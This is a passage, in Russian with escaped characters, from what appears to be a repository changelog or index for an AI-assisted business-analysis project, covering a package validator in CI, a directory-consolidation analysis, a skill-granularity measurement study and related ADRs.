\u0440\u0430\u0437\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0435 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u00ab\u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u0430\u00bb. \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 `G-mach` \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 [`validate-package.py`](projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/validate-package.py) \u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u0432 CI \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0432\u043e\u0441\u0435\u043c\u044c\u044e \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438 [`test-execution-package.sh`](tools/test-execution-package.sh), \u043a\u0430\u0436\u0434\u0430\u044f \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043b\u043e\u043c\u0430\u0435\u0442 \u043e\u0434\u043d\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u043a\u0430\u0437\u0430: \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442, \u0433\u0435\u0439\u0442\u043e\u043c \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f (`M-2`). \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043e\u0442 \u0425\u0430\u0431\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e: \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0425\u0430\u0431\u0430 \u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438. \u0421\u043e\u0441\u0442\u0430\u0432 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e, \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438 \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432 [\u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438](projects/ba-ai-process/dist/execution-package-gigacode-cli/package-manifest.yaml); \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0437\u0430\u0434\u0430\u0447\u0438 B-179\u2026B-188 (\u0421\u043f\u0440\u0438\u043d\u0442 20). \u041d\u043e\u043c\u0435\u0440 20 \u0438 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d `B-179`\u2026`B-188`, \u0430 \u043d\u0435 19 \u0438 `B-169`\u2026`B-178`: \u043f\u0440\u0438 \u0441\u043b\u0438\u044f\u043d\u0438\u0438 \u0441 `main` \u043d\u043e\u043c\u0435\u0440 19 \u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b `B-169`\u2026`B-174` \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u0437\u0430\u043d\u044f\u0442\u044b \u0441\u043f\u0440\u0438\u043d\u0442\u043e\u043c \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 MVP \u043f\u043e issue [#583](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/583), \u0438 \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f \u0437\u0430\u043d\u044f\u0442\u043e\u0433\u043e \u0441\u043f\u0440\u0438\u043d\u0442\u0430 \u043f\u043e\u0440\u0432\u0430\u043b\u0430 \u0431\u044b \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c. \u0421\u043f\u0440\u0438\u043d\u0442 19 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439-\u0441\u043f\u0443\u0442\u043d\u0438\u043a \u043f\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0443 HTOM, \u0421\u043f\u0440\u0438\u043d\u0442 20 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u0432 \u043d\u0451\u043c \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 `B-179` \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 `B-170`.\\n- analysis: [\u041a\u043e\u043d\u0441\u043e\u043b\u0438\u0434\u0430\u0446\u0438\u044f `ai-rules/` \u0438 `ai-governance/` \u0432 \u0435\u0434\u0438\u043d\u044b\u0439 `ai/`: options analysis](docs/analysis/2026-09-15-ai-directories-consolidation-analysis.md) (issue #579, Creative) \u2014 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u0430\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 `ai-*` \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0420\u0435\u0448\u0435\u043d\u0438\u0435: **\u043f\u043e\u0434\u0445\u043e\u0434 \u0410, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043d\u0435 \u043c\u0435\u043d\u044f\u0442\u044c**. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u2014 \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u0430 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0432 `templates/htom/` \u2014 \u0438\u0437\u043c\u0435\u0440\u0435\u043d \u043f\u043e \u043a\u043e\u0434\u0443 \u0433\u0435\u043d\u043e\u043c\u0430 \u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u044f\u0449\u0438\u043c \u043e\u0442 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u043a\u0438 \u043a\u043e\u0440\u043d\u044f \u0425\u0430\u0431\u0430: HTOM-\u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043d\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 `ai-*` \u0432\u043e\u043e\u0431\u0449\u0435 (\u0433\u0435\u043d\u043e\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0442\u0440\u0438 \u043f\u043b\u043e\u0441\u043a\u0438\u0445 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0435\u0433\u043e \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0447\u0435\u0440\u0435\u0437 `resolve_one_of` \u0443\u0436\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0442\u0440\u0438 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u043a\u0438, \u043d\u0438 \u043e\u0434\u0438\u043d `ai-*` \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043d\u0435 \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 `required_directories`, \u0441\u0432\u044f\u0437\u044c \u0441 \u0425\u0430\u0431\u043e\u043c \u2014 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435 URL). \u041a\u043e\u043d\u0441\u043e\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u043d\u0435 \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u043b\u0430 \u0431\u044b \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435, \u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0431\u044b \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u0443\u044e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c\u0443\u044e \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u043a\u0443. \u0412\u044b\u0433\u043e\u0434\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0443\u0441 \u043e\u0434\u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u043a\u043e\u0440\u043d\u044f \u0438\u0437 26 (~4 %); \u0446\u0435\u043d\u0430 \u2014 658 \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u043f\u0443\u0442\u0438 \u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445, \u0438\u0437 \u043d\u0438\u0445 229 \u0432 20 \u0438\u043c\u043c\u0443\u0442\u0430\u0431\u0435\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430\u0445 `docs/adr/` \u0438 `docs/rfc/`, \u0440\u0430\u0441\u0445\u043e\u0434 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 `path_migrations` \u0438 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 `AGENTS.md` \u0432\u043e \u0432\u0441\u0435\u0445 \u0441\u043f\u0438\u0446\u0430\u0445, \u0433\u0434\u0435 \u0438\u043c\u044f `ai-rules/` \u0441\u0442\u043e\u0438\u0442 \u0432 general-\u0441\u0435\u043a\u0446\u0438\u044f\u0445 `` \u0438 ``, \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0432 \u0441\u043f\u0438\u0446\u044b \u0431\u0435\u0437 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 (ADR-012). \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0445\u043e\u0434 \u0411 \u0434\u0430\u0451\u0442 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0435\u0433\u0440\u0435\u0441\u0441: \u043f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u0442 `skills/` \u0438 `commands/` \u0438\u0437 \u043f\u043e\u0434\u043a\u043b\u0430\u0441\u0441\u0430 \u0430\u0433\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 (`ai-rules/skills/`, `ai-rules/commands/`) \u0432 \u0431\u0440\u0430\u0442\u044c\u044f `rules/` \u0432\u043e\u043f\u0440\u0435\u043a\u0438 ADR-016 \u0438 \u0443\u0442\u0430\u043f\u043b\u0438\u0432\u0430\u0435\u0442 \u0433\u0440\u0430\u043d\u0438\u0446\u0443 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u2194 \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u043a\u043e\u0442\u043e\u0440\u0443\u044e ADR-007 \u0432\u0432\u0451\u043b \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043a\u043e\u0440\u043d\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u0441\u0445\u043b\u043e\u043f\u044b\u0432\u0430\u043d\u0438\u044f \u0432 \u043e\u0434\u0438\u043d bucket. \u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043d \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u043c: \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u044b \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 (`AGENTS.md`), \u0430 \u043d\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u043d\u044b\u0435 \u0434\u043e\u043c\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432. ADR-007 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0438\u043b\u0435 \u0438 \u043d\u0435 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f `superseded`; \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0442\u0440\u0438 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430.\\n\\n- research: \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 [\u0413\u0440\u0430\u043d\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0432\u044b\u043a\u0430 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430](research/ba-requirements/2026-09-10-skill-granularity-format-facts.md) \u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c [`measure-skill-format.py`](research/ba-requirements/exp/ba-process-taxonomy-571/measure-skill-format.py) (issue #571, [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043a PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572)) \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u0432\u0443\u0445 \u0433\u0438\u043f\u043e\u0442\u0435\u0437 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0432\u043c\u0435\u0441\u0442\u043e \u043e\u0442\u0432\u0435\u0442\u0430 \u0440\u0430\u0441\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0435\u043c. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0441\u0440\u0435\u0434\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0430 \u0444\u0430\u043a\u0442\u0430\u043c\u0438 `GC-25`\u2013`GC-28`: \u043d\u0430\u0432\u044b\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d \u0447\u0435\u0440\u0435\u0437 **\u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b**, \u0430 \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b \u043d\u0438\u0436\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0444\u043e\u0440\u043c\u044b (\u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u2014 \u043c\u0435\u0441\u0442\u043e \u0432 `AGENTS.md`) \u0438 \u0432\u0435\u0440\u0445\u043d\u044f\u044f (\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u2014 \u0430\u0433\u0435\u043d\u0442). \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 0.2 \u00ab\u043d\u0430\u0432\u044b\u043a \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\u00bb \u043e\u043f\u043e\u0440\u044b \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u044b \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0438 \u0431\u044b\u043b\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0425\u0430\u0431\u0430, \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043a\u0430\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b. \u0417\u0430\u043c\u0435\u0440 24 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u0430 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u043b\u0438 **\u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430**, \u0430 \u043d\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044e: \u0442\u043e\u0447\u043a\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443 \u0434\u0435\u043b\u0438\u0442 \u043a\u043e\u0440\u043f\u0443\u0441 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f (`stepwise` 10 \u0438\u0437 10, `oneshot` 0 \u0438\u0437 9, `legacy` 0 \u0438\u0437 5), \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u0447\u0438\u0441\u043b\u043e \u0448\u0430\u0433\u043e\u0432 \u043d\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u2014 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0435\u0441\u0442\u044c \u0443 9 \u0438\u0437 9 `oneshot`-\u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0432\u0435\u043d\u0441\u0442\u0432\u043e \u00ab`oneshot` = \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u00bb \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e. \u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 `L3` \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0438\u0437 \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043d\u0435\u0442 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e (2\u20137 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043d\u0430 \u043d\u0430\u0432\u044b\u043a), \u043d\u043e 21 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0438\u0437 31 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0440\u0435\u043c\u044f \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u2014 \u043e\u0442\u0431\u043e\u0440 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u043e\u0432 \u043d\u0430 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0443 \u0432\u044b\u043d\u0435\u0441\u0435\u043d \u0432 `B-163`.\\n- adr: [ADR-016: \u041d\u0430\u0432\u044b\u043a \u2014 \u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u2014 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e](docs/adr/2026-09-adr-016-skill-form-and-contract-format.md) (issue #571, `proposed`) \u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `SF-1`\u2026`SF-7`: \u043d\u0430\u0432\u044b\u043a \u043e\u0442\u0434\u0435\u043b\u0451\u043d \u043e\u0442 \u0443\u0440\u043e\u0432\u043d\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0438 \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 **\u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0443\u0437\u0435\u043b** \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043b\u0438\u0431\u043e \u043e\u0434\u043d\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e; \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0444\u043e\u0440\u043c\u044b \u0437\u0430\u0434\u0430\u043d\u044b \u0441\u0440\u0435\u0434\u043e\u0439 (`SF-3`, `SF-4`); \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f `interaction` (`dialog` \\\\| `single-pass`) \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u0440\u043e\u043c. \u0414\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0438\u043c\u0451\u043d `stepwise`/`oneshot`/`legacy` \u043a\u0430\u043a **\u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438** \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0438\u043b\u0435 (ADR-013): ADR-016 \u043d\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0440\u0435\u0436\u0438\u043c\u044b, \u0430 \u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0442\u0443 \u043e\u0441\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043e\u043d\u0438 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u043b\u0438 \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c\u044e. \u0423\u0442\u043e\u0447\u043d\u044f\u0435\u0442 ADR-015, \u0437\u0430\u043c\u0435\u043d\u044f\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u043e `SB-1`.\\n\\n81:| `/docs/ba-meta-model-overview.md` | \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f | \u2014 | \u0427\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u043e\u0431\u0437\u043e\u0440 \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0434\u043b\u044f stakeholder alignment: \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 prompt-only \u043f\u043e\u0434\u0445\u043e\u0434\u0430, \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u043e BCREQ, GigaCode mapping, Evidence Map \u0438 \u043f\u0435\u0440\u0432\u044b\u0439 MVP. | \u2705 \u0414\u0430 | `projects/ba-ai-process/ba-meta-model/`, `docs/adr/2026-09-adr-013-run-modes-deprecation.md`, `docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md`, `tools/test-ba-meta-model-overview.sh` |\\n106:| `/docs/adr/2026-09-adr-013-run-modes-deprecation.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | ADR \u0434\u043b\u044f issue #563: \u0440\u0435\u0436\u0438\u043c\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 `stepwise`, `oneshot`, `legacy` \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u0432 `deprecated` \u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f \u0438\u0437 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0445\u0435\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435: \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u044e\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 (\u0441\u0440\u0435\u0434\u043d\u0438\u0439 